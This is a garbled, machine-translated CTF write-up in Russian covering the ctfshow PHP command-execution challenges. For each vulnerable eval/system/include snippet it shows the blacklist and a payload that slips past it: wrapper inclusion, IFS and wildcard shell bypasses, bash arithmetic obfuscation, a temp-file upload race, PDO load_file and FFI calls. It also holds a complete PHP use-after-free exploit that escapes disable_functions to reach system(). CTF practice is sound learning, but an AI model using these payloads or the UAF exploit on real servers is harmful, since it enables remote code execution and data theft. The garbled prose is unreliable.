<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 00:26:48
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
Первый вопрос выполнения команды относительно прост. Он соответствует только строке флага и не учитывает регистр.
Затем вы можете использовать * для замены любого символа
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 00:42:26
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
Здесь сопоставляются три строки flag|system|php, без учета регистра. Полезная нагрузка все еще может использовать web29.
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
Здесь обнаруживается, что кошка тоже подобрана. Но это не имеет значения. Вместо этого мы можем использовать less и использовать %09 для пробелов.
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
Здесь также перехватывается эхо. Здесь мы можем использовать функцию включения
payload:?c=include$_GET["url"]?>&url=php://filter/read=convert.base64-encode/resource=flag.php
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
Есть так много вопросов"Перехвачено,Итак, мы реконструируем полезную нагрузку следующим образом:
?c=include$_GET[url]?>&url=php://filter/read=convert.base64-encode/resource=flag.php
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
Слишком много вопросов:безвредный,Продолжать использовать полезную нагрузку web33
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
полезная нагрузка web33
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
Больше отфильтрованных номеров,Влияние все еще невелико,полезная нагрузка web33
<?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c);
echo $flag;
}
}else{
highlight_file(__FILE__);
}
Этот вопрос начинает становиться функцией включения. Мы можем использовать псевдопротоколы.
?c=data://text/plain,<?php%20echo%20`cat%20fla*`;%20?>;
<?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|php|file/i", $c)){
include($c);
echo $flag;
}
}else{
highlight_file(__FILE__);
}
Этот вопрос фильтрует php. Но это нормально,мы можем использоватькороткий тег PHPpayloadследующее
?c=data://text/plain,<?=%20system(%27cat%20fla*%27)%20?>
<?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c.".php");
}
}else{
highlight_file(__FILE__);
}
data://text/plain,<?php%20echo%20`cat%20fla*`;%20?>
Вышеупомянутая полезная нагрузка уже выполнила оператор php. Поскольку предыдущий оператор закрыт, следующий .php бесполезен.
<?php
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
Этот вопрос отфильтровывает много вещей....Я учился на идеях этого мастераhttps://blog.csdn.net/qq_44893894/article/details/109923404
функция current() возвращает текущий элемент/единицу массива, по умолчанию принимая первое значение;
pos()функция аналогична приведенной выше и является псевдонимом функции current();
reset()функция,Возвращает значение первого элемента массива, если массив не пуст.,Возвращает FALSE, если массив пуст
Давайте сначала проверим, какие файлы находятся локально
Затем используйте функцию array_reverse(), чтобы инвертировать возвращаемое значение. И используйте следующую функцию, чтобы прочитать следующий элемент
Наконец, используйте функцию Highlight_file(), чтобы прочитать файл.
<?php
if(isset($_POST['c'])){
$c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
eval("echo($c);");
}
}else{
highlight_file(__FILE__);
}
?>
Для этого вопроса нет фильтра | или оператор,Но поскольку мои способности писать Скрипт недостаточно сильны,Поэтому я прикрепляю чужиеwp:https://wp.ctf.show/d/137-ctfshow-web-web41
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
system($c." >/dev/null 2>&1");
}else{
highlight_file(__FILE__);
}
Итак, здесь нам нужно разделить две команды, здесь я использую ||(Знакомство с символами вертикальной черты можно найти в предыдущих статьях.)
payload:?c=cat%20flag.php||
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
Здесь обновлена фильтрация для ; и cat. Ничего страшного, альтернативы все упомянуты выше.
payload:?c=less%20flag.php||
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/;|cat|flag/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
Здесь есть еще один флаг
payload:?c=less%20fla*.php||
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| /i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
Этот вопрос имеет дополнительный фильтр по пробелу полезная нагрузка:?c=less%09fla*.php||
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
Этот вопрос предполагает дополнительную фильтрацию чисел ифильтр. Но это не имеет значения. %09 будет автоматически декодирован по URL-адресуМожем ли мы воспользоваться? заменять
payload:?c=less%09fla?.php||
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
На этот раз я стал меньше соответствовать. Но мы можем использовать TAC, чтобы обойти
payload: ?c=tac%09fla?.php||
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
Этот вопрос все еще фильтрует аналогичные инструкции для кота, но кот не фильтруется.
payload:?c=tac%09fla?.php||
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
Объяснение такое же, как у web48.
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
Здесь тоже%Перехвачено Мы используем<заменять
payload:?c=tac<fla%27%27g.php||
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
Так фильтруется здесь. Далее мы будем использовать nl
payload:?c=nl<>fla%27%27g.php||
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
Этот вопрос<>также отфильтровано,Но он выложил $,Таким образом, мы можем использовать {IFS} для замены пробелов.
Я обнаружил, что он изменил свое положение. Проверив, я обнаружил, что оно есть на картинке ниже.
payload:?c=nl${IFS}../../../fla?||
<?php if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
echo($c);
$d = system($c);
echo "<br>".$d;
}else{
echo 'no';
}
}else{
highlight_file(__FILE__);
} Здесь мы помещаем прошлую тему >/dev/null 2>&1удалить Понятно,Поэтому нет необходимости добавлять || полезная нагрузка: nl${IFS}fla?.php
<?php if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
} Этот вопрос отфильтровывает довольно многое.
payload:?c=paste${IFS}fla?.php
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
Здесь нет фильтрации? и числа, поэтому мы можем попытаться использовать их для нечеткого сопоставления. И нам нужно нечеткое совпадение /bin/ перед ним (эти команды находятся под bin)
payload:/???/????64%20????????
Тогда декодирование base64 будет в порядке.
<?php if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
} Этот вопрос также фильтрует числа.,мы можем научитьсяп бог的思路 首先我们可以知道. xxВы можете выполнять команды в файле。
ЗатемlinuxОбычно загружаемые временные файлы помещаются в/tmp/php??????место(??????представляет случайные буквы),Итак, мы можем использовать следующую картинку, чтобы сопоставить его
???/????????[@-[]
Итак, здесь мы можем создать пакет почтовых данных для одновременной загрузки временных файлов и выполнения файловых команд --- условное соревнование (не забудьте нажать несколько раз)
<?php
//flag in 36.php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
system("cat ".$c.".php");
}
}else{
highlight_file(__FILE__);
}
Даже сейчас?Все отфильтровано Понятно Поэтому вы не можете использовать предыдущий метод Понятно。предоставлено автором Понятноpayload
$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))
При выполнении непосредственно под Linux оказывается, что оно равно 36.
Изучите это,оказатьсяпринципда:(())** представляет операцию, **{_}да Возвращает значение последней выполненной команды
Как показано на картинке выше и так далее. Когда оно наконец достигнет 36, просто сделайте обратное.
ок, теперь следующий тип вопроса
<?php
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}
payload:c=highlight_file('flag.php');
<?php
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}
Что ж, хотя этот вопрос внешне аналогичен предыдущему, в нем, вероятно, отключено больше функций. Я не знаю точно, что отключено. Но полезная нагрузка похожа на web58
Метод тот же, что и 58.
Ого, на этот раз он изменил адрес файла
Давайте сначала посмотрим, какие файлы находятся в корневом каталоге.
flag.txt найден
payload:c=highlight_file('/flag.txt');
На этот раз он отключил функцию print_r.,мы можем использоватьvar_dumpПриходитьзаменятьc=var_dump(scandir("/"));
затем напрямую
highlight_file('/flag.txt');
В этот раз qaq коду просто не дан, а функция подсветки_файла тоже отключена. Давайте продолжим пытаться увидеть, сможем ли мы прочитать корневой каталог.
Потому что функция Highlight_file отключена, и я обнаружил, что функция show_source также отключена. Затем мы также можем попробовать функцию включения
В это время var_dump также отключен, мы можем использовать следующую полезную нагрузку для вывода списка каталогов.
$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');};
возвращатьсядав этом положенииinclude("/flag.txt");
То же, что и 69, добавьте рендеринг.
<?php
error_reporting(0);
ini_set('display_errors', 0);
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
$s = ob_get_contents();
ob_end_clean();
echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
highlight_file(__FILE__);
}
?>Вы хотите попасть в рай??
Здесь мы обнаруживаем, что после eval() имеется дополнительная область буфера сопоставления; будут ли в ней использоваться совпадающие цифры и буквы? заменить. Это легко обойти, просто добавьте в конце exit();
payload:include("/flag.txt");exit();
Давайте сначала посмотрим каталог
Я обнаружил, что имя было изменено, но функция включения также была отключена. Здесь для выполнения команды мы используем скрипт uaf (механизм сбора мусора), предоставленный владельцем группы (принцип эмммм не знаю)
payload:function ctfshow($cmd) {
global $abc, $helper, $backtrace;
class Vuln {
public $a;
public function __destruct() {
global $backtrace;
unset($this->a);
$backtrace = (new Exception)->getTrace();
if(!isset($backtrace[1]['args'])) {
$backtrace = debug_backtrace();
}
}
}
class Helper {
public $a, $b, $c, $d;
}
function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}
function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= sprintf("%c",($ptr & 0xff));
$ptr >>= 8;
}
return $out;
}
function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = sprintf("%c",($v & 0xff));
$v >>= 8;
}
}
function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}
function parse_elf($base) {
$e_type = leak($base, 0x10, 2);
$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);
for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);
if($p_type == 1 && $p_flags == 6) {
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) {
$text_size = $p_memsz;
}
}
if(!$data_addr || !$text_size || !$data_size)
return false;
return [$data_addr, $text_size, $data_size];
}
function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
if($deref != 0x746e6174736e6f63)
continue;
} else continue;
$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
if($deref != 0x786568326e6962)
continue;
} else continue;
return $data_addr + $i * 8;
}
}
function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) {
return $addr;
}
}
}
function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);
if($f_name == 0x6d6574737973) {
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}
function trigger_uaf($arg) {
$arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
$vuln = new Vuln();
$vuln->a = $arg;
}
if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}
$n_alloc = 10;
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
trigger_uaf('x');
$abc = $backtrace[1]['args'][0];
$helper = new Helper;
$helper->b = function ($x) { };
if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}
$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;
write($abc, 0x60, 2);
write($abc, 0x70, 6);
write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);
$closure_obj = str2ptr($abc, 0x20);
$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}
if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}
if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}
if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}
$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}
write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4);
write($abc, 0xd0 + 0x68, $zif_system);
($helper->b)($cmd);
exit();
}
ctfshow("cat /flag.txt");ob_end_flush(); Не забудьте зашифровать URL-адрес полезной нагрузки.
Аналогично предыдущей идее
c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");};exit();
Найдите файл flagc.txt и прочитайте его.
c=include("/flagc.txt");exit();
Идея та же, что и у web73, но имя файла изменено.
Сначала прочитайте каталог, чтобы узнать, что этот файл находится в flag36.txt. Затем я обнаружил, что include больше не может использовать здесь qaq. Используйте файл load—— для чтения здесь.
payload:c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root','root');foreach($dbh->query('select load_file("/flag36.txt")') as $row){echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e->getMessage();exit(0);}exit(0);
75 операций
Сначала прочтите каталог
Затем,Вопрос напоминает нам, что среда PHP — 7.4.,такмы можем использоватьРасширение FFIПриди и сделай это
payload:c=$ffi = FFI::cdef("int system(const char *command);");$a='/readflag > 1.txt';$ffi->system($a);exit();
Затем перейдите в 1.txt, чтобы получить к нему доступ.
Щелкните правой кнопкой мыши исходный код, чтобы найти систему подсказок ($code);
После моего фаззинга я обнаружил, что многие отфильтрованные символы представляют собой только заглавные английские буквы и ~?;:{}$, которые все еще можно использовать, поэтому мы можем выполнять команды оболочки. На картинке ниже представлены советы автора
Здесь нам сначала нужно знать (сначала взгляните на мою ситуацию с Кали),Прилагается еще одинВстроенная таблица переменных BASH
То естьда Скажем, если мы хотим построитьnlЕсли вы хотите командовать, просто используйтепоследний символ {PATH} и{PWD}последний персонаж,Затем Используйте подстановочные знаки для сопоставления файловflag.phppayload:{PATH:~A}{PWD:~A} ????.???
PATH этого вопроса был отфильтрован. Поэтому нам придется изменить структуру. (Завтра утром мне нужно потренироваться вождении, поэтому пока не буду обновлять информацию)